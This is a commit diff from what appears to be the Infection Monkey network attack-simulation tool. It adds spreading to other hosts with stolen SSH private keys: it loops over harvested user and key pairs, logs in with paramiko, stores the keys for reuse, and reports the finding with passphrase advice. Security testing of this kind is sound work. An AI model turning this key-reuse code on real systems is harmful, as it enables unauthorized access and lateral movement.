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monkey
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Exploitation of machines using ssh keys added. Also, added shh keys exploitation to report

This commit is contained in:
Vakaris 2018-05-29 01:02:49 +03:00
parent f45cebfd5e
commit 30a3bbf9a0
7 changed files with 98 additions and 26 deletions
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6
infection_monkey/config.py
View File

@ -233,6 +233,12 @@ class Configuration(object):
"""
return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_ssh_key_pairs(self):
"""
:return: All combinations of the configurations users and ssh pairs
"""
return product(self.exploit_user_list, self.exploit_ssh_keys)
def get_exploit_user_password_or_hash_product(self):
"""
Returns all combinations of the configurations users and passwords or lm/ntlm hashes

1
infection_monkey/example.conf
View File

@ -67,6 +67,7 @@
"exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],

4
infection_monkey/exploit/__init__.py
View File

@ -24,9 +24,9 @@ class HostExploiter(object):
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
@abstractmethod
def exploit_host(self):

32
infection_monkey/exploit/sshexec.py
View File

@ -2,6 +2,7 @@ import logging
import time
import paramiko
import StringIO
import monkeyfs
from exploit import HostExploiter
@ -46,9 +47,38 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
user_password_pairs = self._config.get_exploit_user_password_pairs()
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
exploited = False
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
LOG.error("Failed reading ssh key")
try:
ssh.connect(self.host.ip_addr,
username=user,
pkey=pkey,
port=port,
timeout=None)
LOG.debug("Successfully logged in %s using %s users private key",
self.host, ssh_string)
self.report_login_attempt(True, user, ssh_key=ssh_string)
exploited = True
break
except Exception as exc:
LOG.debug("Error logging into victim %r with %s"
" private key", self.host,
ssh_string)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
user_password_pairs = self._config.get_exploit_user_password_pairs()
for user, curpass in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,

20
monkey_island/cc/resources/telemetry.py
View File

@ -130,7 +130,7 @@ class Telemetry(flask_restful.Resource):
for attempt in telemetry_json['data']['attempts']:
if attempt['result']:
found_creds = {'user': attempt['user']}
for field in ['password', 'lm_hash', 'ntlm_hash']:
for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
if len(attempt[field]) != 0:
found_creds[field] = attempt[field]
NodeService.add_credentials_to_node(edge['to'], found_creds)
@ -169,10 +169,10 @@ class Telemetry(flask_restful.Resource):
def process_system_info_telemetry(telemetry_json):
if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_creds({}, ssh_info)
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
if telemetry_json['data']['network_info']['networks']:
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
Telemetry.add_system_info_creds_to_config({}, ssh_info)
Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials']
Telemetry.encrypt_system_info_creds(creds)
@ -197,20 +197,22 @@ class Telemetry(flask_restful.Resource):
creds[new_user] = creds.pop(user)
@staticmethod
def encrypt_system_info_creds(creds, ssh_info=None):
def encrypt_system_info_creds(creds):
for user in creds:
for field in ['password', 'lm_hash', 'ntlm_hash']:
if field in creds[user]:
# this encoding is because we might run into passwords which are not pure ASCII
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
if ssh_info:
@staticmethod
def encrypt_system_info_ssh_keys(ssh_info):
for idx, user in enumerate(ssh_info):
for field in ['public_key', 'private_key', 'known_hosts']:
if ssh_info[idx][field]:
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
@staticmethod
def add_system_info_creds_to_config(creds, ssh_info=None):
def add_system_info_creds_to_config(creds):
for user in creds:
ConfigService.creds_add_username(user)
if 'password' in creds[user]:
@ -219,7 +221,9 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
if ssh_info:
@staticmethod
def add_system_info_ssh_keys_to_config(ssh_info):
for user in ssh_info:
ConfigService.creds_add_username(user['name'])
# Public key is useless without private key
@ -227,8 +231,6 @@ class Telemetry(flask_restful.Resource):
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
user['name'], user['ip'])
@staticmethod
def encrypt_exploit_creds(telemetry_json):
attempts = telemetry_json['data']['attempts']

15
monkey_island/cc/services/report.py
View File

@ -34,6 +34,7 @@ class ReportService:
SHELLSHOCK = 4
CONFICKER = 5
AZURE = 6
STOLEN_SSH_KEYS = 7
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -203,9 +204,12 @@ class ReportService:
for attempt in exploit['data']['attempts']:
if attempt['result']:
processed_exploit['username'] = attempt['user']
if len(attempt['password']) > 0:
if attempt['password']:
processed_exploit['type'] = 'password'
processed_exploit['password'] = attempt['password']
elif attempt['ssh_key']:
processed_exploit['type'] = 'ssh_key'
processed_exploit['ssh_key'] = attempt['ssh_key']
else:
processed_exploit['type'] = 'hash'
return processed_exploit
@ -231,6 +235,10 @@ class ReportService:
@staticmethod
def process_ssh_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
# Check if it's ssh key or ssh login credentials exploit
if processed_exploit['type'] == 'ssh_key':
return processed_exploit
else:
processed_exploit['type'] = 'ssh'
return processed_exploit
@ -332,7 +340,8 @@ class ReportService:
@staticmethod
def get_issues():
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
issues_dict = {}
for issue in issues:
machine = issue['machine']
@ -392,6 +401,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
elif issue['type'] == 'azure_password':
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'] == 'ssh_key':
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users:
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

24
monkey_island/cc/ui/src/components/pages/ReportPage.js
View File

@ -22,7 +22,8 @@ class ReportPageComponent extends AuthComponent {
SAMBACRY: 3,
SHELLSHOCK: 4,
CONFICKER: 5,
AZURE: 6
AZURE: 6,
STOLEN_SSH_KEYS: 7
};
Warning =
@ -293,6 +294,8 @@ class ReportPageComponent extends AuthComponent {
return x === true;
}).length} threats</span>:
<ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
@ -524,6 +527,22 @@ class ReportPageComponent extends AuthComponent {
);
}
generateSshKeysIssue(issue) {
return (
<li>
Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">SSH</span> attack.
<br/>
The Monkey authenticated over the SSH protocol with private key <span
className="label label-success">{issue.ssh_key}</span>.
</CollapsibleWellComponent>
</li>
);
}
generateRdpIssue(issue) {
return (
<li>
@ -672,6 +691,9 @@ class ReportPageComponent extends AuthComponent {
case 'ssh':
data = this.generateSshIssue(issue);
break;
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
case 'rdp':
data = this.generateRdpIssue(issue);
break;